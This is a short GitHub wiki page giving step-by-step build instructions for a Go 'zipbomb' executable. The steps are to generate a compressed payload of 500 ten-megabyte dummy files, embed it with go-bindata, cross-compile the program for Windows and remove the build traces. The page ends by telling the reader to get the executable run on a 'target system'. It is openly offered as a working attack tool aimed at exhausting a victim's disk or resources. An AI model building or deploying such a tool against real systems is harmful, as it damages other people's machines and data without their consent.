Skip to content
Aliasgar Khimani edited this page Mar 27, 2023 · 2 revisions

Here's a very straight forward guide on how to use this:

  1. Generate a suitable payload:
$ ./payloadgen.bash
USAGE: payloadgen.bash [UNIT SIZE] [COPIES]

Generates a zip file as a payload for a zip-bomb
   UNIT SIZE            Size of the unit dummy file inside the payload
   COPIES               Specifies how many dummy files the payload should contain


$ ./payloadgen.bash 10000000 500
...
Payload size: 4.8M      ./payload_500.zip

  1. You're gonna be needing go-bindata for this; generate a data binding for the main program:
$ go-bindata -o payload.go payload_500.zip
  1. Now, (if necessary) make changes to the placePayload function in zipbomb.go
  2. Build the program for suitable target system:
$ GOOS=windows go build zipbomb.go payload.go
$ rm payload.go payload_500.zip

## Checking executable size:
$ du -h zipbomb.exe
2.4M    zipbomb.exe

Done! Now all you need to do is get this executable to execute on the target system

Clone this wiki locally